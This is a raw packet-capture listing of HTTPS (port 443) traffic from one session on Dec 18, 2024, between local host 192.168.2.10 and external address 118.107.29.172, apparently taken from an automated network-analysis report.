Dec 18, 2024 13:21:19.445533991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.471707106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.471728086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.471774101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.471785069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.471816063 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.477447987 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.477464914 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.477535963 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.477545023 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.477576971 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.482713938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.482731104 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.482775927 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.482780933 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.482810974 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.482825041 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.488560915 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.488576889 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.488640070 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.488647938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.488678932 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.494298935 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.494313955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.494363070 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.494369030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.494596958 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.499864101 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.499886036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.499924898 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.499932051 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.499962091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.505701065 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.505716085 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.505752087 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.505759001 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.505784035 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.505798101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.640054941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.640084028 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.640135050 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.640161991 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.640182018 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.640228987 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.663876057 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.663897038 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.663942099 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.663958073 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.663974047 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.664300919 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.669711113 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.669728994 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.669786930 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.669794083 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.669861078 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.675487041 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.675502062 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.675538063 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.675545931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.675570011 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.675580025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.680793047 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.680809021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.680851936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.680859089 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.680908918 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.686584949 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.686600924 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.686645985 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.686654091 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.686686039 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.692039013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.692056894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.692112923 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.692122936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.692150116 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.697974920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.697992086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.698060989 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.698069096 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.698113918 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.829997063 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.830022097 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.830066919 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.830095053 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.830112934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.830128908 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.856261015 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.856286049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.856348991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.856359005 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.856386900 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.862061024 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.862078905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.862101078 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.862143040 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.862147093 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.862198114 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.867697954 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.867716074 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.867752075 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.867777109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.867794991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.867805958 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.873832941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.873851061 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.873907089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.873913050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.873943090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.878741026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.878760099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.878794909 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.878801107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.878832102 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.884223938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.884243011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.884282112 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:19.884288073 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:19.884319067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.014153957 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.014178991 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.014239073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.014264107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.014302969 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.021975040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.021994114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.022049904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.022069931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.022120953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.229216099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.229240894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.229306936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.229379892 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.229419947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.229444027 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.236179113 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.236196041 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.236255884 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.236274004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.236301899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.236320019 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.443612099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.443641901 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.443717957 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.443769932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.443800926 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.443824053 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.448571920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.448590040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.448645115 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.448662996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.448690891 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.448779106 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.657284021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.657295942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.657376051 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.657383919 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.657418013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.657444000 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.657458067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.662971973 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.662991047 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.663036108 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.663045883 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.665448904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.870872021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.870884895 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.870974064 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.871022940 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.871049881 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.871069908 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.871087074 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.875966072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.875983000 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.876053095 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:20.876070023 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:20.876888037 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.082072020 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.082103968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.082259893 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.082288980 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.082340956 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.087632895 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.087649107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.087743044 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.087754965 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.087790966 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.093496084 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.093512058 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.093554974 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.093569040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.093590021 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.093614101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.298636913 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.298667908 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.298748016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.298777103 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.298818111 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.303272963 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.303320885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.303396940 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.303406954 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.303462029 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.309041977 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.309067011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.309135914 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.309145927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.309180975 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.512289047 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.512316942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.512382984 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.512408018 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.512447119 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.518232107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.518259048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.518306017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.518313885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.518347979 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.523262978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.523287058 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.523325920 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.523334026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.523370981 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.725003004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.725044966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.725083113 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.725100040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.725112915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.725132942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.729914904 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.729938030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.729988098 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.730000019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.730032921 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.735883951 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.735903978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.735969067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.735980988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.736007929 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.741724014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.741740942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.741780043 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.741790056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.741826057 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.941529036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.941596031 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.941617012 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.941639900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.941659927 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.941674948 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.947410107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.947427988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.947468042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.947479010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.947506905 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.947527885 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.952558041 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.952574968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.952615976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.952625990 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.952670097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.958540916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.958559036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.958595037 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.958604097 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:21.958626986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:21.958645105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.156723022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.156759977 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.156887054 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.156905890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.156949043 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.161690950 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.161712885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.161756992 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.161763906 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.161789894 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.161797047 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.166929960 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.166949034 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.167032003 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.167038918 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.167078018 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.173086882 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.173104048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.173175097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.173181057 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.173216105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.368223906 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.368246078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.368441105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.368460894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.368576050 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.374491930 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.374511003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.374599934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.374612093 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.374653101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.381633043 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.381654024 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.381711006 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.381721973 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.381756067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.385129929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.385148048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.385277033 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.385283947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.385368109 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.394521952 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.394558907 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.394593000 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.394601107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.394622087 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.394643068 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.585890055 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.585913897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.585987091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.586020947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.586040020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.586061001 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.593318939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.593348980 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.593388081 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.593399048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.593413115 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.593430996 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.596123934 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.596159935 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.596201897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.596209049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.596231937 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.596250057 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.601437092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.601459026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.601511955 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.601519108 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.601538897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.601566076 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.609029055 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.609057903 CET	443	49723	118.107.29.172	192.168.2.10
